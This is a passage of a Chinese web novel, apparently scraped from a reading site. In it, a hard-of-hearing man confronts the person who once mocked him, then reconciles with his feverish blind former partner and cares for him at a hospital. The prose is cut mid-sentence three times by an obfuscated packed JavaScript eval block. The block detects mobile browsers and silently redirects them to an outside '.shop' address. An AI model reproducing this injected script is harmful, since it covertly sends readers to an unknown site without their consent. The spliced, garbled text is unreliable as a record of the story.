郭宝卓也不说话了,过一会儿就给乔辽递一张抽纸,俩人沉默许久,乔辽终于开口:“你说……我和易秋光在一起的那些年,我真的对他好吗,他和我在一起……是痛苦还是开心?” “他挺开心的,”郭宝卓说,“你也看见过,你们在一起的那些年,易秋光每天都笑得很开心。” 乔辽摇摇头,说道:“不是每天,他也有很多不开心的时候。” 夜晚好长,每一秒都缓慢,乔辽洗完澡躺在床上,关上灯睁着眼。 录音笔就在床头柜上放着,他没有播放录音,但那些沙沙声一直在他耳边,易秋光说的那些话,也会被他想起一次又一次。 乔辽根本没有耐心等到天亮,他在床上翻来覆去,好友申请也发出去无数次,最终,他决定提前走,大不了就在易秋光家门口等着,外面再冷也没事,待在易秋光家门口,总比待在这里要好得多。 至少,他那种害怕和焦虑的心情能稍微缓解一些。 郭宝卓估计是猜到他会这样,当乔辽推开卧室门走出去时,第一眼看见的就是坐在客厅里的郭宝卓。 “我就知道你想提前去,辽啊,你撅个屁股我就知道你要放什么屁,”郭宝卓往餐桌上指了指,“给你煮了碗面,凑合着先吃点,吃完我们就走。” “谢谢……”想哭的感觉又来了,乔辽深呼吸一口气,想要把眼泪憋回去,“挺难得的,你竟然没有说一句怼我的话,每句话还都挺像人话的。” “我也谢谢你了,我就是人,说的肯定是人话,”郭宝卓往餐桌那边抬了抬下巴,“快去吃吧。” 乔辽“嗯”了声,坐到餐桌前。 他想快点吃,但这面实在是太烫了,吃到最后终于冷了些,乔辽越吃越急,呛得直咳嗽。 不断的咳嗽让他喉咙都疼了起来,乔辽轻捶两下胸口,抬眼问郭宝卓:“你给徐颂良说了没,你等会儿要陪着我出去一趟的事。” “说过了,你别担心,”郭宝卓说,“我让他在家里待着,要吃什么就给我说,我给他点个外卖,他也喜欢吃外卖,这人总说我做饭太健康了,口味不重。” “说过了就行。”乔辽又咳嗽几下,接着吃完了碗里的面。 他把碗洗干净放进橱柜里,转身对郭宝卓说:“我们走吧。” 郭宝卓点了点头,从抽屉里拿出两把长柄伞,又说道:“先去你家。” 乔辽愣了愣,问他:“去我家干什么?” “耳蜗和助听器会没电的,”郭宝卓抬手指了指自己的耳朵,“如果没电了,你要怎么去听易秋光的声音?所以啊,你还是先回家一趟比较好。” 去见易秋光这件事,怎么就这么难。 乔辽拿着郭宝卓递过来的伞,跟着这人去了地下停车场,他坐上车,盯着车窗外。 当车缓缓驶出停车场,天空刚蒙蒙亮,但雨雪没停,现在这个点路上没什么车,郭宝卓也不敢开太快。 路面容易打滑,车距跟得太近又怕追尾,乔辽心里是着急,但他也知道,安全第一。 他没说什么,估计是郭宝卓觉得他太过于沉默,主动解释道:“一切为了安全,路面实在是太滑了,碰到坡都上不去,你别着急。” “我知道的,慢慢来,没事。”乔辽说。 江城不怎么下雪,今年倒也是难得下了一次,昨夜雨夹雪让地面落了厚厚一层,这些雪被驶过的车辆反复碾压,又成了冰。 开车只能慢行,走路也只能慢点来。 这次去见易秋光,只能慢慢地,乔辽没办法再跑着去了。 缓慢行驶的车终于带着乔辽到了小区附近,前面那段路估计是堵了车,郭宝卓没办法把车开到小区门口,只能让乔辽先下车,慢慢走回去。 乔辽撑开伞,下了车,他先是去了旁边的咖啡店。 路面实在是太滑了,他迈出去的每一步都十分小心,但还是有那么一瞬差点摔倒。 他给郭宝卓点了杯热咖啡,制作咖啡需要时间,拿着咖啡再回到停车的位置也需要时间。 反正咖啡店里挺暖和的,乔辽干脆拍了一张咖啡店门口的照片,给郭宝卓发了过去,接着就是取餐界面的截图,后面还跟着一句:给你点了咖啡,你先去店里坐会儿,路太滑了,我走得慢,估计要点时间才能回来。 郭宝卓回复:行,那我去店里等你。 路不好走,乔辽心里又着急,好在小区里面已经开始清理路面了,回家的后半段路,总算是变快了一些。 回到家后,乔辽直接进了卧室,他给助听器和耳蜗换好电池,立马转身往门口走。 出小区的路比刚才好走很多,在快要走到咖啡店时,乔辽给郭宝卓发了条消息,他说自己马上就要到了,让郭宝卓从店里出来。 郭宝卓回了个“OK”,乔辽收起手机,往马路上看了眼。 现在还是有很多车,但没再和刚才那样堵着走不动,路面也被清理了一部分,看着就比刚才要好走很多。 乔辽正准备收回视线,突然有个人从他边上走过,这人的伞和乔辽的伞碰在一起。 下一秒,伞面倾斜,雨雪拼命地往乔辽身上落。 他皱了皱眉,看向身边的人。 这是一张很熟悉的脸,对乔辽而言,这张脸简直就是噩梦。 他恨透了这张脸,更恨透了这个人。 乔辽也根本没想到,他竟然还会见到佟舟,在这样一个着急去找易秋光的早上,在这样一个下着雨雪的早上。 就这么毫无准备地,见到了佟舟。 这人似乎也愣了一下,紧接着,乔辽看见佟舟笑了起来。 这人在笑什么,有什么值得笑的事吗。 乔辽看着他没说话,但佟舟开口了。 这一瞬间,乔辽好像回到了两年前,那个时候的他,看不懂佟舟的口型,听不见佟舟说出的话。 现在的他,再次成了这样。 不应该啊,他不是刚给助听器和耳蜗换了电池吗? 为什么会听不见。 坏了?助听器和耳蜗同时坏了? 可是……乔辽扭头看向马路。 他明明能听见车辆驶过的声音。 乔辽收回视线,看向一旁站着的佟舟,这人脸上的笑一看就很嘲讽。 几秒后,佟舟又开口了。 乔辽还是什么都听不见,一个字都听不见。 他看着佟舟,说道:“你哑巴了?” “哟,你不聋了啊,”佟舟脸上的笑变得更盛,“你怎么突然就不聋了呢,真是太没意思了。” 乔辽抬手拍了拍身上落下的雨雪,说道:“我不知道你在说什么。” 佟舟突然大笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140575|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“你当然不会知道我在说什么,因为我根本就没和你说过话,以前对着你张口闭口的,全都是逗你的,现在不行了,你现在能听见了,哎,不好玩了。” “你说什么?”乔辽紧了紧握住伞柄的手,“你以前什么话都没说?” “对啊,”佟舟又动了动嘴,接着就笑着对乔辽说,“我以前就是像这样,假装在和你说话的样子,你是不知道,你以前那种迷茫又愤怒的样子有多好玩,你可比易秋光好玩多了。” 雨雪仍在继续下着,乔辽收起了伞,紧接着,猛地挥向佟舟。 佟舟一瞬间没反应过来,站在那里挨了这一下,疼痛感令他迅速回过神,这人一把夺过乔辽手中的伞,都还没来得及有下一步,乔辽立马一脚踹了上去。 地面太滑,这一脚直接把佟舟踹倒在地,这人摔下去的时候撞到了头,现在正躺在地上,跟条死狗一样。 乔辽朝他那边走了两步,蹲下身子看着佟舟。 “好玩吗,”乔辽问他,“有多好玩?” 佟舟身上那套衣服都脏了,头发也被地上的雨雪弄湿,乔辽伸手拽着这人额前的发,用力扯着佟舟微仰起头,只能看着他。 “那我问你,现在好不好玩。”乔辽又用了点力气,扯着佟舟的头发把这人往上拽,接着猛地松开手。 佟舟再次往后倒,头撞在地面发出一声闷响,这一下估计挺疼的,乔辽听见佟舟倒抽一口凉气。 但下一秒,这人抬起了手。 佟舟手里还拿着那把长柄伞,这把伞的伞顶又长又尖锐。 佟舟紧握着伞柄,用伞顶直对着乔辽眼睛。 这人,是想要乔辽失明。 乔辽一把握住雨伞,正准备站起身。 郭宝卓的声音从身后传了过来:“你他妈干什么!” 这人是跑着来的,跑到乔辽边上时,脚下一滑,直接踹上了佟舟的脑袋。 “干什么干什么干什么,你他妈干什么!”郭宝卓才不管佟舟是什么回答,他只知道,这人一看就不是好东西,“我兄弟招你惹你了,你打不过就玩阴的是吧。” “是我先动手的吗,”佟舟挣扎着想站起身,“我动都没动他一下,是他先打我的!” 乔辽也认得挺干脆,他拽走佟舟手里的长柄伞,站起身说道:“嗯,我先打他的。” 郭宝卓愣了愣,看着乔辽没说话。 “他就是佟舟。”乔辽又说了这么一句。 “哦,佟舟,啊?佟舟!”郭宝卓撸起袖子,看样子是想动手,“我操,你他妈就是佟舟啊!那我兄弟没打错,欠揍的就是你!” 佟舟没有害怕的样子,这人甚至笑了起来,还越来越大声。 “神经病,你们都是神经病,”佟舟指着乔辽,笑得连话都说不清楚,“死聋子,你知不知道,易秋光是瞎子啊,他什么都看不见,他能干什么呢,他只能听。” 乔辽皱起眉,佟舟撑着地面坐起来,似乎是想到了更好笑的事。 “但是啊,易秋光那张脸确实长得不错,这样一个人,就算是个男的,我也愿意为了他去花点心思,”佟舟笑着说,“他最好骗了,我每天都看着他,学着他走路的步子,到最后,他就会以为,我是你。是不是很好笑,他竟然把我认成了你——” 后面的话,佟舟没再说出口。 因为乔辽用雨伞挥了过去,这一下打在佟舟脸上,瞬间划出一条红痕。 佟舟再次摔向地面,乔辽两步上前,掐住他的脖子,把这人按在那里无法动弹。 乔辽挥出的每一拳都十分用力,郭宝卓就站在边上,不说话也不拦着。 人的情绪憋久了确实会难以控制,但乔辽还是有理智的,最后一拳落下,乔辽站起身,用伞顶一下又一下地拍上佟舟侧脸。 “最好玩的那个人是你,”乔辽说,“最好笑的那个人,也是你。” 42. 名字 佟舟做的那些事,不是被乔辽打一顿就能解决的。 这顿打也只是暂时出口气,乔辽根本没办法原谅佟舟做的事情,不管打这人多少次,乔辽都不可能给佟舟一点好脸色看。 现在的天已经彻底亮了,乔辽和郭宝卓转身离开,他们走到刚才停车的位置,上了车后,郭宝卓递过去一包抽纸。 “擦擦头发,你身上也全是湿的,”郭宝卓又指了指他的耳朵,“助听器和耳蜗怎么样,你现在听我说话还清楚吗?” 乔辽抽出几张纸,擦了擦手说道:“应该没什么问题,买的时候给我说是防水的……” “先擦助听器和耳蜗吧,”郭宝卓把那一包抽纸放到乔辽边上,“晚上回家赶紧放进干燥盒。” “知道,”乔辽拿出手机看了眼时间,现在这个点,再加上路上要用的时间,去易秋光家已经来不及了,他干脆换了目的地,“去工作室吧。” 乔辽打开地图导航输入工作室地址,开始导航后,把手机递给郭宝卓。 车开始缓缓往前行驶,导航提示下个路口右转。 乔辽取下耳蜗和助听器,抽出几张纸,轻擦着上面落下的雨雪,他的世界,也短暂地失去了声音。 在快要到达工作室的时候,乔辽戴上了助听器和耳蜗,现在的老城区已经变得热闹了,前面的车一辆接着一辆,一辆比一辆速度慢。 “我走过去,你等会儿顺着前面那条路直走就行。”乔辽没耐心再等,给郭宝卓指完路后,他拿上手机,打开车门,撑开伞下了车。 去往工作室的这条路不算难走,盲道上的雪也已经被清理干净了,但路面还是有些滑,每走一步都得注意着放慢步子,乔辽走几步就会看一眼脚下。 当他走到工作室时,第一眼看见的人,是捕山月。 这人正在往门口铺防滑地垫。 乔辽没搭理他,几步往前,就要从这人边上走过,但捕山月突然叫住了他。 “故听老师,”捕山月“哦”了声,又说,“不对,我应该叫你乔辽,对吧。” “易秋光给你说的?”乔辽回头问道,“他什么时候给你说的?” “你别用这种眼神看着我,我真的忍了你很久了,”捕山月低头继续弄着防滑地垫,“秋光根本没给我说过,我只知道有你这个人,但我不傻,我能看出来,秋光对你的态度挺不一样的。” “你别叫他秋光。”乔辽这句话刚说完,捕山月轻笑一声。 “那我叫什么,叫他‘三季老师’,还是叫他‘易秋光’,我爱叫他什么就叫什么,”捕山月抬眼看向乔辽,“你应该也能看出来,我喜欢秋光,但他拒绝我了,怎么,我现在就连喊他一声‘秋光’的资格都没有?” “我现在不想和你说这些。”乔辽没再看他,扭头就往二楼走。 “你不用上去,”捕山月说,“秋光今天没来,他请假了。” “那我走了。”乔辽转身说走就走。 “你干吗还要回来找他,”捕山月站起身,看着乔辽说,“当初说不管他的不是你吗,现在你倒是回来了,你回来了又不认他,乔辽,你这人真是有意思。我以前还想着,秋光要是这么喜欢你,那我就帮你一把,只要秋光开心,只要秋光高兴,但你是怎么做的?你连认他都不肯认!既然你不想管他,那我来管,以后你也不用再来这里了,我不想看见你,秋光也不想。” “我什么时候不管他了,我说过这句话吗,再说了,秋光说过他不想见我?你让他过来,当着我的面说!”乔辽的声音都比刚才大了不少,“你以为我不想认他?我敢认他吗,我敢吗,我他妈没胆子,我害怕,这个回答你满意了吗!” 捕山月说:“你们不合适。” “关你什么事。”乔辽懒得再搭理他,撑开伞就要走。 身后人往前走了两步,大概是还想说些什么,在快要走进雨雪里时,这人还是选择停下来。 乔辽撑着伞走到马路边,郭宝卓的车也正好开过来,这人放下车窗问他:“见到易秋光了?” “没,”乔辽打开车门上了车,又打开地图导航输入易秋光家的位置,“去这个地方,他同事说他今天请假了,没来工作室。” “行,”郭宝卓接过手机看了眼,“这地方挺近啊,很快就到了。” 乔辽“嗯”了声,偏头看向车窗外。 车往前走了一段路,掉头后驶出老城区,现在的路况比刚才好了很多,路上行人也多了不少,在导航提示快要到达目的地时,乔辽看见了易秋光。 这人打着一把黄色的长柄伞,穿着一件厚实的羽绒服,但他今天没围上围巾,羽绒服的拉链也只拉到胸口位置,正好能看见里面穿着的那件毛衣。 是乔辽上次给他穿的那件。 易秋光走在盲道上,但这边的路面还没有被清理干净,被铲起来的雪都堆在盲道边上,还有的直接就堆在盲道上面。 他用盲杖试探好几次,停在那里始终没敢往前走一步。 “我先下车,你靠边停一下。”乔辽匆匆丢下这句话,郭宝卓反应也快,立马靠边停了车,顺带着把乔辽的手机也递了过去。 乔辽接过手机,在屏幕上点了一下,伴随着一声“退出导航”,手机被放进口袋。 他撑开伞下了车,加快步子往易秋光那边走。 在没有看见易秋光的时候,乔辽想了很多话要说,但真的当这人站在眼前时,乔辽一下子就不知道应该说哪句了。 易秋光还在用盲杖探路,乔辽往前走了两步,站在易秋光边上,紧接着,伸手拉住了盲杖。 这个动作来得有些突然,易秋光愣了一下,接着皱起眉头,看样子是要发火。 “秋光。”终于,乔辽开口喊了他的名字。 易秋光沉默着,随后抬手摸向他的耳朵。 “发财了?终于配上助听器了?”手在耳廓边摸索一下,易秋光又收回了手,“我现在应该怎么称呼你,故听老师?” “乔辽,”乔辽顿了顿,说道,“对不起。” “没什么对不起的,”易秋光的语气听着有些冷漠,“我也没拆穿你,你完全可以继续装下去。” “我不想再这样下去了,”乔辽说,“我想……和你好好聊聊。” “聊什么?我不想和你聊,你先把盲杖放开,”易秋光抬手摸索一下,一巴掌拍向乔辽拉着盲杖的手,“我还有事,没时间和你闲聊。” 易秋光这一巴掌打得不疼,但这人的掌心挺烫的。 “不是闲聊,你可以不说话,只听我说就可以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140576|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乔辽拉着盲杖触碰地面,然后缓缓放开手,“你要是想骂我,也可以。” “行啊,”易秋光冲他笑了笑,“准备好了吗,我现在要开始骂你了。” “骂吧。”乔辽站在那儿,看着易秋光的嘴,等着这人的下一句话。 但他等到的不是易秋光的骂声,而是这人的咳嗽声。 乔辽立马伸手,把易秋光身上那件羽绒服的拉链往上拉了拉,拉链快要拉到最顶部的时候,易秋光微抬起下巴,乔辽的手背也正好蹭上这人的脖子。 烫的。 和掌心一样,烫得不行。 乔辽立马察觉到了不对劲,他抬手在易秋光额头摸了摸,果然,这人发烧了。 “我带你去医院,”乔辽握住易秋光的手,带着他往郭宝卓车边走,“我们现在先去看病,你想打我也好,骂我也行,等你看完病,想怎么样都行。” “我本来就是去看病的,”易秋光也没有甩开他的手,“不用你带着我去,我自己也可以。” “我知道,”乔辽说,“我知道的,我看见了,没有我……你确实过得很好。” 走到车边时,乔辽打开后排车门,让易秋光先上了车。 他收好雨伞,上车坐在易秋光边上。 “去医院,”乔辽对郭宝卓说,“秋光发烧了。” 郭宝卓拿出手机打开地图APP,搜出离这里最近的三甲医院,开始导航。 车缓缓行驶,易秋光突然开口:“开车的人是郭宝卓吧。” “是,”郭宝卓笑了笑,“好久不见了。” “也没多久,”易秋光说,“上次在电影院才见过,我知道你在那里,就是没说话而已。” 郭宝卓尴尬地笑了几声,说道:“对,我那天有点忙,不好意思啊。” “没事,”易秋光问他,“我们现在去哪家医院,我先在手机上挂个号。” 郭宝卓说出医院名字,易秋光也拿出手机开始慢慢扒拉着。 这家医院,易秋光以前也去过。 因为乔辽一直在看着他滑动屏幕,有时候易秋光会点错,在点进挂号界面时,乔辽看见了好几个挂号记录,还有一些检查报告的结果。 “这家医院的小程序好像改版了,”易秋光说完这句又咳嗽几声,他偏头望向乔辽,“用你手机登我账号吧,你帮我挂一下号。” 乔辽说了声“好”,拿出手机扒拉起来,易秋光在边上说出了账号和密码,账号登录成功。 乔辽给易秋光挂了个专家号,做完这件事,他又点进挂号记录和检查报告里。 和易秋光相处这么多年,乔辽带着这人去医院的次数其实很少,但在江城的这两年,易秋光去医院的次数真的太多了。 有的是感冒发烧,还有的是受了伤,甚至有几次是在夜里挂的急诊。 乔辽心里不是滋味,他偏头看向身边人,接着握住易秋光的手。 “等会儿看了医生就不难受了,”乔辽用大拇指在易秋光掌心捏了捏,“很快就到医院了。” “不难受,”易秋光说,“我早就习惯了。” 易秋光就这么任由乔辽握着他的手,掌心的滚烫一次又一次地让乔辽感到愧疚。 “知道了,”乔辽说,“对不起。” 43. 回来 这个“对不起”没有得到回应。 易秋光一直沉默着,直到他们到达医院门口,郭宝卓看着他们下了车,这人还得把车停到地下停车场,但前面的车一辆接一辆,估计也要等好一会儿。 乔辽带着易秋光走进医院,心里出现的第一个想法就是,医院里的人实在是太多了。 大多数人还都戴着口罩,乔辽根本看不见口型,在这种情况下,他没办法和别人沟通,因为听不懂也看不明白。 乔辽带着易秋光在诊室门口等了会儿,前面几个人看完后,终于叫到了易秋光的名字。 乔辽牵着他走进诊室,医生和易秋光说着什么,乔辽只能听懂易秋光的话,医生戴着口罩,他看不懂也看不明白。 最后,医生开了几项检查,乔辽接过单子,医生又说了些什么。 乔辽愣了愣,正准备问医生说的什么。 易秋光站起了身,摸索着握住他的手,带着他往门外走。 “他让我先去把检查做了,”易秋光说,“检查结果出来之后,再把结果拿过来给他看。” 乔辽点点头,说道:“知道了。” 他拿出手机,先在医院小程序上缴了费,接着就牵起易秋光的手,带着这人往做检查的那栋楼走。 “我有盲杖,”易秋光用盲杖在地面划动两下,“你不用牵着我。” “我不放心,”乔辽把易秋光牵得更紧,“还是牵着吧。” 易秋光问他:“你觉得我不方便,觉得我需要帮忙,是吗?” 乔辽沉默着,不知道应该怎么说。 他确实觉得易秋光不方便,但他并不觉得易秋光需要帮忙。 乔辽只是……自己想去帮忙。 “你不说话,我就当你默认了,”易秋光偏头望了他一眼,“那我问你,你有没有什么需要我帮忙的地方?” “没有。”乔辽说道。 “我现在身体不舒服,懒得和你说那么多,”易秋光的语气变得严肃不少,“我再问你最后一次,你有没有什么需要我帮忙的地方。” 易秋光这样子真的挺凶的,乔辽犹豫一下,说道:“人太多了,还有好多人戴口罩,我听不清,也看不见口型。” “你是戴的助听器?”易秋光问他。 “左边是做的人工耳蜗,一体机,用头发挡着也看不见,”乔辽停下脚步,带着他的手去摸耳蜗外机,接着又带着这只手碰上右耳,“右边耳朵是戴的助听器,黑色的耳内式,挺隐形的,平时也看不出来。” “这样啊,”易秋光问他,“那我以后也可以随时随地骂你了吧,反正你能听见。” “能,”乔辽说,“随便你怎么骂。” “行,继续走吧,”易秋光叹出一口气,把盲杖递给乔辽,“收起来拿着,我现在用不上了。” 这语气,就跟命令一样。 乔辽挺开心的。 他笑着接过,说了声:“好。” “我都病成这样了,你还在笑?”易秋光往他腿上轻踹一脚,“我难受得不行,早上又什么都没吃,现在走路都是天旋地转的,乔辽,我都这样了,你竟然还能笑得出来。” “没没没,你别误会,我是笑了,但我不是因为你难受才笑的,”乔辽用大拇指捏了捏易秋光掌心,“我是觉得……你需要我,我才笑的,我是在高兴。” “也不是很需要你,”易秋光顿了顿,接着说道,“两年多了,我学会了好多事,我其实也很厉害的。” “我知道,”乔辽说,“你一直都很厉害。” 易秋光点头表示同意,但很厉害的易秋光在抽血的时候皱眉了。 乔辽捏了捏他的手安慰着:“没事,已经疼过了,正在抽第一管,现在第二管,好的,第三管了,抽完了。” “你到底会不会安慰人……”易秋光站起身,把胳膊递过去,“快帮我按着,我好像按偏了。” “没偏,”乔辽沉默两秒,“就是流血了。” “你到底能不能行,”易秋光又给了他一脚,“你以前明明会好好照顾我的。” “我以后也能,”乔辽帮他按着肘窝处的棉签,“对不起,秋光。” “你是不是只会说‘对不起’,”易秋光好像是想再踢他一脚,但这人刚抬起腿,就又把腿收了回去,“先去做检查,做完去吃饭,我好饿。” “行。”乔辽带着他去做剩下的检查,做完检查后,又在拿结果的地方坐着等。 易秋光坐在他边上不说话,就是靠在椅背上,看着没什么精神,乔辽伸手去探了探额温,这人估计还是没退烧。 手机振动一下,乔辽拿出手机看了眼,是郭宝卓发来的消息,这人说他停车等了半天,好不容易要进停车场了,停车位又满了,医院门口不让停车,他只能开着车在这附近不停转悠。 乔辽看了眼时间,手机屏幕上正好跳出通知:您的检查报告已经出具,请及时查看。 “检查结果出来了,”乔辽牵着易秋光站起来,“我们去拿一下,拿完了就去给医生看。” “好。”易秋光现在说话都没劲了,乔辽心里也着急。 取完所有检查结果后,乔辽把这几张检查单拍了张照片发给郭宝卓,并补上一句:刚拿到结果,现在去给医生看,辛苦你再坚持一下,我们看完就出来。 郭宝卓秒回:我不着急,你好好照顾易秋光。 现在诊室门口的人不太多,他们没等多久就进了诊室,乔辽把检查结果递给医生,又让易秋光先坐着。 乔辽不知道医生说了什么,他只看见医生又递来一张单子,易秋光点了点头,接过单子站起身,对乔辽说:“走吧,去拿药。” “医生说什么?”乔辽挺着急的,他拿过易秋光手上的单子看了眼,“直接喝药就行吗,什么时候能好?” “医生说我这是流感,退烧之后还会复烧,”易秋光呼出一口气,看样子还是不太舒服,“好好吃药,好好休息就行。” “那你这几天要请假吧,”乔辽说,“好好在家里休息几天。” 他牵着易秋光走到拿药的地方,前面还有几个人在排队。 易秋光“嗯”了声,说道:“先休息几天。” “那我去你家陪你,”乔辽顿了顿又说,“等你好了我就回去。” 易秋光问他:“你就这么肯定,我会让你去我家?” “你不让我去你家也没关系,”乔辽说,“那我就把你带去我家,但我觉得,还是去你家更好。” “为什么?”易秋光偏头望向他。 “你对我家还不太熟悉,对你来说太不方便了,本来就是养病,环境舒适也很重要,所以,我去你家照顾你。”乔辽带着易秋光往前走了两步,他把医生开的处方单递进窗口,过了一会儿后,窗口处递出来一大袋药。 其实也没几样药,就是药盒挺大的。 易秋光应该是听见了塑料袋的声音,他伸手捏了捏那袋药,嘀咕一句:“怎么这么多药啊。” “不多,就是盒子大了点。”乔辽带着他走出医院,两个人打着同一把伞往马路边走。 刚走到可以上车的地方,开着车到处转悠的郭宝卓也正好从这边经过。 这人看见他们后立马停下车,在易秋光和乔辽上车后,郭宝卓扭头问道:“怎么样,医生怎么说?” “流感,”乔辽提起手里那袋子药给郭宝卓看,“医生开了药,让他好好休息。” 郭宝卓点点头:“行,那我们现在去哪儿?” “先送易秋光回家,”乔辽说完就拿出手机开始点外卖,“然后我再回去一趟。” 郭宝卓都还没说话,易秋光突然问道:“你回去干什么?” “我今天淋了点雨,得回去一趟,拿一下电子干燥盒,”乔辽补充道,“助听器和耳蜗得放在里面几个小时,拿一下很快的,你就在家里等我。” “知道了。”易秋光只说了这么一句。 把易秋光送到家的时候,乔辽点的外卖也正好到,他点了两份外卖,一份是给易秋光的,清淡点,另一份是给郭宝卓的,这人辛苦一上午,总不能连口吃的都没有。 乔辽帮易秋光把外卖打开,然后把那些需要喝的药拿出来放在一边。 在走之前,乔辽还提醒易秋光一定要喝药,他很快就回来。 易秋光的回答,还是那句:“知道了。” 外卖挺香的,郭宝卓却只能闻闻,吃也吃不上热乎的。 他把外卖袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140577|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在副驾座位上,闻着香味儿开着车送乔辽回家。 “哎辽啊,你现在心里踏实了没,”郭宝卓叹出一口气,“我之前就让你赶紧承认吧,你看,易秋光一不骂你二不打你,还让你牵着他,这不是挺好的吗。” “是挺好的,但是……”乔辽顿了顿,继续说道,“我还没给他说,今天遇到佟舟的事。” 郭宝卓也沉默一会儿,说道:“慢慢来吧,你们两个现在都可以沟通了,还有什么事情是解决不了的,好好聊好好说,别再打架就行。” “不打了,”乔辽说,“那他要是打我呢?” “忍着,”郭宝卓说完这句,自己都笑起来了,“你忍得住吗,以前让你忍着,你也没忍住过,哪次没还手啊。” 乔辽语气显得有些无奈:“他才是下死手的那个吧……” “放心吧,你们现在就算打起来,也不会再像以前那样,”郭宝卓说,“你只要记住,你现在可以和易秋光好好沟通就行了。” 乔辽“嗯”了声,偏头看向车窗外,外面的建筑开始变得熟悉,再有一会儿,他就能到家了。 突然,乔辽的手机振动一下,他拿起手机看了眼。 屏幕显示着一条未读消息:你什么时候回来? 乔辽点开对话框,聊天界面显示着通过好友申请的消息,再往上看,就是乔辽没发出去的那条消息。 这条消息前面还带着红色感叹号,乔辽只觉得刺眼。 他点开备注界面,给这个账号换了个备注。 从“三季”改成了“秋光”。 接着,乔辽回复道:很快就到家了,等我拿上电子干燥盒就来。 易秋光秒回:耳蜗和助听器要放进干燥盒多久? 乔辽回复:六个小时,到时候你要是有什么事情找我,可以给我发消息,或者你直接给我说也行,我现在会读唇语。 这条消息发出去的下一秒,车也缓缓停下。 “到了,”郭宝卓立马拿起副驾座位上的外卖,扭头对乔辽说,“你赶紧去拿,我就在车里等你。” 乔辽“嗯”了声,撑着伞下车,手里还拿着亮屏的手机。 终于在他刚进家门时,易秋光的消息回了过来:我不太舒服,药已经喝了,饭也吃完了,现在准备去洗个澡睡觉。 乔辽回了个“好”,正准备问一下,那他等会儿应该怎么进门的时候,手机再次振动,易秋光把他家门锁的密码发了过来。 后面还跟着一句:到了自己开门,拿了干燥盒就赶紧过来,衣服不用带,穿我的。 乔辽盯着这条消息看了好几次,快速回了个“好”,立马加快步子走进卧室。 虽说易秋光让他不用带衣服,但他现在身上穿的这一套实在是有点脏,乔辽选择换一身干净衣服,然后找出一个黑色的旅行包装上备用电池和充电仓,最后装进干燥盒。 装好这些,乔辽又从衣柜里找出几条内裤和袜子装进旅行包,接着找出易秋光上次在他家穿的那两套家居服。 易秋光穿着很好看,乔辽想看见易秋光再穿一次。 收完这些,乔辽从抽屉里拿上一把折叠伞出了门。 他现在提着一个大旅行包,打着一把伞,手里还拿着一把长柄伞。 郭宝卓看见他的第一眼就说道:“哟很有觉悟嘛,你准备直接搬去和易秋光住啊。” “……瞎说什么,”乔辽上了车,把长柄伞还给郭宝卓,接着就把旅行包抱在怀里,“我就是去照顾他两天。” “行行行,”郭宝卓接过伞,点开导航输入易秋光家的地址,开始导航,“把你送到之后,我就回去了,徐颂良说他一个人在家里无聊,我下午还有点工作,你好好照顾易秋光,有事要帮忙就给我发消息。” 乔辽刚准备开口,手机在口袋里振动一下,他拿出手机看了眼,屏幕上显示着一条未读消息。 秋光:你到底干嘛去了,怎么还不回来? 乔辽愣了愣,把自己的定位发了过去。 接着回复道:刚从家里出来,现在上车了,马上就回来,你还难受吗,吃完药有没有稍微好一点? 车缓缓向前行驶,一个拐弯后,易秋光回复道:我一点都不好,难受,你快点回来。 44. 难受 看见易秋光发来的这条消息,乔辽心里也急得不行。 光是想到易秋光没精神的样子,乔辽就觉得心底堵得慌。 这一路上他都在和易秋光聊天,过一会儿就报一下位置,到达小区门口时,乔辽撑开伞下车,他站在车边给郭宝卓说了声“谢谢”,并表示以后有时间一定请他和徐颂良吃顿饭。 郭宝卓冲他摆摆手说:“改天的事改天再说,你赶紧去照顾易秋光,我也回家了,有事要帮忙记得打电话啊。” 乔辽说了声“好”,转身往小区门口的药店走。 他买了两盒退烧贴,又买了一支水银的体温计,易秋光的消息正好在这个时候发了过来。 这人还是那一句:你回来没? 乔辽回复:马上,一分钟。 这句话刚被发出去,乔辽就跑了起来,现在风大,雨和雪也没小多少,他撑着伞跑得太快,风吹翻了伞,乔辽也终于站在易秋光家门口,按下了锁的密码。 门被打开,乔辽第一眼看见的就是门口摆着的拖鞋,这双拖鞋上面还挂着标签,明显就是易秋光新买的。 乔辽换上鞋,放好雨伞,提着旅行包和刚在药房买的东西往卧室走。 推开门的那一瞬,乔辽只觉得挺暖和的,紧接着,床上躺着的人闷着声音问他:“你终于舍得回来了?” 房间里拉着窗帘,但桌上有一盏台灯正发出暖黄色的光,上次来这里的时候,桌上还没有这盏台灯,这灯应该是易秋光新买的。 